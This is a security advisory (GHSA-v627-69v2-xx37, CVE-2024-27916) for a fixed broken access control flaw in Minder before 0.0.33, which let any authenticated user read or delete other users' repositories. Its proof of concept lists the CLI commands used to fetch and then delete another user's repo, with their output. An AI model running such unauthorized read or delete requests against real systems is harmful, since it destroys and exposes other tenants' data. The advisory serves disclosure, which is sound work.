Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: GSA_kwCzR0hTQS12NjI3LTY5djIteHgzN84AA5xb

`GetRepositoryByName`, `DeleteRepositoryByName` and `GetArtifactByName` allow access of arbitrary repositories in Minder by any authenticated user

Summary

A Minder user can use the endpoints listed in the issue title to access any repository in the DB, irrespective of who owns the repo and any permissions that user may have.

Details

https://github.com/stacklok/minder/blob/e88e4b286e4bc04c03b0332a77961f085e1aa77f/database/query/repositories.sql#L22-L23
https://github.com/stacklok/minder/blob/a115c8524fbd582b2b277eaadce024bebbded508/internal/controlplane/handlers_repositories.go#L277-L278

The DB query used here checks by repo owner, repo name and provider name (which is always "github"). These query values are not distinct for the particular user - as long as the user has valid credentials and a provider, they can set the repo owner/name to any value they want and the server will return information on this repo.

DeleteRepositoryByName uses the same query and I have been able to delete another user's repo using this technique.

The GetArtifactByName endpoint also uses this DB query. I have not reproduced the behaviour with this endpoint due to a lack of a suitable test case, but I do not see anything in the implementation of the endpoint to prevent it being exploited.

PoC

Setup:

  1. Fresh provider/project on the production minder instance which is owned by me.
  2. A repo registered by another user (in this case, Ozz)
# show my identity
$ minder auth whoami
No config file present, using default values.

 Here are your details:

+----------------------------------------------------+----------------------------------------------------+
|                        KEY                         |                       VALUE                        |
+----------------------------------------------------+----------------------------------------------------+
| Subject                                            | c93cc12e-999d-49f4-9ee3-593fdfb39204               |
+----------------------------------------------------+----------------------------------------------------+
| Created At                                         | 2024-02-26 15:53:29.228 +0000                      |
|                                                    | UTC                                                |
+----------------------------------------------------+----------------------------------------------------+
| Updated At                                         | 2024-02-26 15:53:29.228 +0000                      |
|                                                    | UTC                                                |
+----------------------------------------------------+----------------------------------------------------+
| Minder Server                                      | api.stacklok.com:443                               |
+----------------------------------------------------+----------------------------------------------------+
| Project                                            | dmjb /                                             |
|                                                    | ca059552-7b8a-4c6e-918d-ca7e6cbd0bab               |
+----------------------------------------------------+----------------------------------------------------+

# show that I have no repos registered
$ minder repo list
No config file present, using default values.
+----+---------+----------+-------------+-------+------+
| ID | PROJECT | PROVIDER | UPSTREAM ID | OWNER | NAME |
+----+---------+----------+-------------+-------+------+

# show details on one of Ozz's repos
$ minder repo get -n JAORMX/auditevent
No config file present, using default values.
{
  "id":  "a7e82080-9b6c-41f3-bc08-8e9442f8b2d2",
  "context":  {
    "provider":  "github",
    "project":  "b513f7f0-26dc-42e6-81a0-577df5489e62"
  },
  "owner":  "JAORMX",
  "name":  "auditevent",
  "repoId":  "605597568",
  "hookUrl":  "https://api.github.com/repos/JAORMX/auditevent/hooks/464564107",
  "deployUrl":  "https://api.github.com/repos/JAORMX/auditevent/deployments",
  "cloneUrl":  "https://github.com/JAORMX/auditevent.git",
  "isFork":  true,
  "createdAt":  "2024-03-04T13:27:54.019356Z",
  "updatedAt":  "2024-03-04T13:27:54.019356Z",
  "defaultBranch":  "main"
}

# delete Ozz's repo
$ minder repo delete -n JAORMX/auditevent
No config file present, using default values.
Successfully deleted repo with name: JAORMX/auditevent

# Ozz's repo no longer exists
$ minder repo get -n JAORMX/auditevent
No config file present, using default values.
Message: Error getting repo by name
Details: NotFound means some requested entity (e.g., file or directory) was
not found.

Impact

Any user and project in a multi-tenant Minder instance.

Permalink: https://github.com/advisories/GHSA-v627-69v2-xx37
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12NjI3LTY5djIteHgzN84AA5xb
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: 9 months ago
Updated: 9 months ago


CVSS Score: 7.1
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

Identifiers: GHSA-v627-69v2-xx37, CVE-2024-27916
References: Repository: https://github.com/stacklok/minder
Blast Radius: 1.0

Affected Packages

go:github.com/stacklok/minder
Dependent packages: 0
Dependent repositories: 0
Downloads:
Affected Version Ranges: < 0.0.33
Fixed in: 0.0.33
All affected versions: 0.0.1, 0.0.2, 0.0.3, 0.0.4, 0.0.5, 0.0.6, 0.0.7, 0.0.8, 0.0.9, 0.0.10, 0.0.11, 0.0.12, 0.0.13, 0.0.14, 0.0.15, 0.0.16, 0.0.17, 0.0.18, 0.0.19, 0.0.20, 0.0.21, 0.0.22, 0.0.23, 0.0.24, 0.0.25, 0.0.26, 0.0.27, 0.0.28, 0.0.29, 0.0.30, 0.0.31, 0.0.32
All unaffected versions: 0.0.33, 0.0.34, 0.0.35, 0.0.36, 0.0.37, 0.0.38, 0.0.39, 0.0.40, 0.0.41, 0.0.42, 0.0.43, 0.0.44, 0.0.45, 0.0.46, 0.0.47, 0.0.48, 0.0.49, 0.0.50, 0.0.51, 0.0.52, 0.0.53, 0.0.54, 0.0.55, 0.0.56, 0.0.57, 0.0.58, 0.0.59, 0.0.60, 0.0.61, 0.0.62, 0.0.63, 0.0.64, 0.0.65, 0.0.66, 0.0.67, 0.0.68, 0.0.69, 0.0.70, 0.0.71, 0.0.72, 0.0.73, 0.0.74